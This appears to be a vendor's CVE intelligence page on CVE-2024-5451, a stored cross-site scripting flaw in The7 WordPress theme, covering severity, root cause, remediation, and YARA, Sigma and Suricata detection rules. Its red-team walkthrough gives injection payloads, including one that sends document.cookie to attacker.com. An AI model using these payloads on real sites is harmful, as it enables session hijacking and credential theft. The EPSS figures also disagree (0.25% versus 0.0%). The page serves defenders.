☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5451

CVE-2024-5451 Cross-Site Scripting in The7
📅 PUBLISHED: 2024-06-25 13:53 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1053.002
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5451 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the The7 — Website and eCommerce Builder for WordPress theme, affecting all versions up to and including 11.13.0. The flaw resides in the url attribute of the theme's Icon and Heading widgets. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further site compromise.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used commercial theme, and the patch status remains unknown. The EPSS score of 0.0% indicates low exploitation likelihood currently, but the risk increases as details become public.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via commercial channels (ThemeForest, etc.). There is no NPM, PyPI, Go, or Ruby package involved. However, the theme's update mechanism is critical: site administrators must ensure they receive and apply patches from the vendor (The7) as soon as they are released. The lack of a public patch at this time means all sites running The7 <= 11.13.0 are at risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): Low – Requires Contributor-level access or higher.
  • User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, local storage).
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., stealing admin cookies) raises the effective risk.

Deep Dive & Mechanics

The vulnerability exists in the The7 theme's Icon and Heading widgets, which allow users to add custom links via a url attribute. The theme fails to properly sanitize and escape this attribute before rendering it in the page HTML.

Root Cause:

  • The url attribute is passed through a function that does not strip dangerous JavaScript protocols (e.g., javascript:, data:) or escape HTML entities.
  • When the widget is rendered, the unsanitized URL is placed directly into an href attribute or similar context, allowing an attacker to inject onclick, onmouseover, or other event handlers.

Attack Flow:

  1. An attacker with Contributor-level access (or higher) creates or edits a page/post.
  2. They add an Icon or Heading widget and set the url attribute to a malicious payload, e.g., javascript:alert(document.cookie) or " onfocus="alert(1)" autofocus=".
  3. The payload is stored in the WordPress database.
  4. When any user (including admins) visits the page, the browser executes the injected script.

Why This Matters in WordPress:

  • Contributor-level users are often trusted with content creation but not code execution. This vulnerability allows them to bypass that restriction.
  • Stored XSS can persist across sessions and affect all visitors, making it a potent vector for spreading malware or stealing credentials.

Vulnerable vs. Patched Code

Since no official patch is available, we can only infer the fix based on common XSS prevention patterns.

Vulnerable Code (Conceptual):

// In the widget's render method
$url = $instance['url'];
echo '<a href="' . $url . '">' . $widget_content . '</a>';

Patched Code (Expected):

// Properly escape the URL
$url = esc_url( $instance['url'] );
echo '<a href="' . $url . '">' . esc_html( $widget_content ) . '</a>';

The esc_url() function in WordPress strips dangerous protocols and encodes special characters. Additionally, esc_html() should be used for any user-controlled text output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site running The7 theme <= 11.13.0.
  • A user account with Contributor-level privileges or higher.

Step-by-Step Exploitation:

  1. Login as a Contributor.
  2. Create a new page or edit an existing one.
  3. Add an Icon or Heading widget from The7's widget library.
  4. Set the URL field to a malicious payload. Example:
    javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
    
    Or for a more stealthy approach:
    " onmouseover="alert(1)
    
  5. Publish or update the page.
  6. Wait for a victim (e.g., an admin) to visit the page. The script executes in their browser.

Proof-of-Concept (PoC) Code:

<!-- This is a simplified representation; actual widget insertion requires WordPress UI -->
<a href="javascript:alert('XSS')">Click me</a>

Blue Team (Defensive)

Detection Steps:

  1. Monitor for suspicious widget modifications – Look for changes to pages/posts by Contributor-level users that include unusual url attributes.
  2. Review database entries – Search the wp_postmeta table for url values containing javascript:, on*=, or other XSS patterns.
  3. Use a Web Application Firewall (WAF) – Block requests containing XSS payloads in widget parameters.

Lab Setup for Testing:

  • Install a local WordPress instance with The7 theme (version 11.13.0).
  • Create a Contributor user.
  • Use browser developer tools to inspect the widget's HTML output after saving.

Indicators of Compromise (IOCs)

  • Suspicious URL patterns in widget data:
    • javascript:*
    • data:text/html*
    • vbscript:*
    • Event handlers like onclick=, onmouseover=, onfocus=
  • Unexpected JavaScript execution on pages containing The7 widgets.
  • Unusual outbound network requests from the victim's browser to attacker-controlled domains.
  • Modified page content that includes hidden links or scripts.

File-based IOCs:

  • Look for injected JavaScript in the wp_posts or wp_postmeta database tables.
  • Check for modified theme template files (though this vulnerability is stored in the database, not files).

Detection Engineering

YARA Rule

rule CVE_2024_5451_The7_XSS {
    meta:
        description = "Detects stored XSS payloads in The7 theme widget URL attributes"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-5451"
    strings:
        $xss1 = /href\s*=\s*["']\s*javascript:/i
        $xss2 = /href\s*=\s*["']\s*data:/i
        $xss3 = /on\w+\s*=\s*["']/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via The7 Widget URL Attribute
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-5451 by injecting XSS payloads into The7 widget URL fields
author: Valters IT
logsource:
    category: web
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains|all:
            - 'action=the7_widget_save'
            - 'url='
    filter:
        http.body|contains:
            - 'javascript:'
            - 'data:'
            - 'onclick='
            - 'onmouseover='
    condition: selection and filter
falsepositives:
    - Legitimate use of JavaScript URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5451 The7 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=the7_widget_save"; http_client_body; pcre:"/(javascript|data|on\w+=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Icon and Heading widgets temporarily if possible, or restrict their use to Administrator-level users only.
  2. Apply a Web Application Firewall (WAF) rule to block XSS payloads in widget parameters.
  3. Monitor for suspicious activity from Contributor-level accounts.

Long-term Fix:

  • Update the theme to a patched version once released by The7. Check the vendor's changelog regularly.
  • Implement input validation – Use WordPress's esc_url() and esc_html() functions for all user-supplied data.
  • Review user roles – Limit Contributor-level access to trusted users only.

Workaround:

  • If patching is not possible, consider using a security plugin that adds XSS filtering (e.g., Wordfence, Sucuri).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5451/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.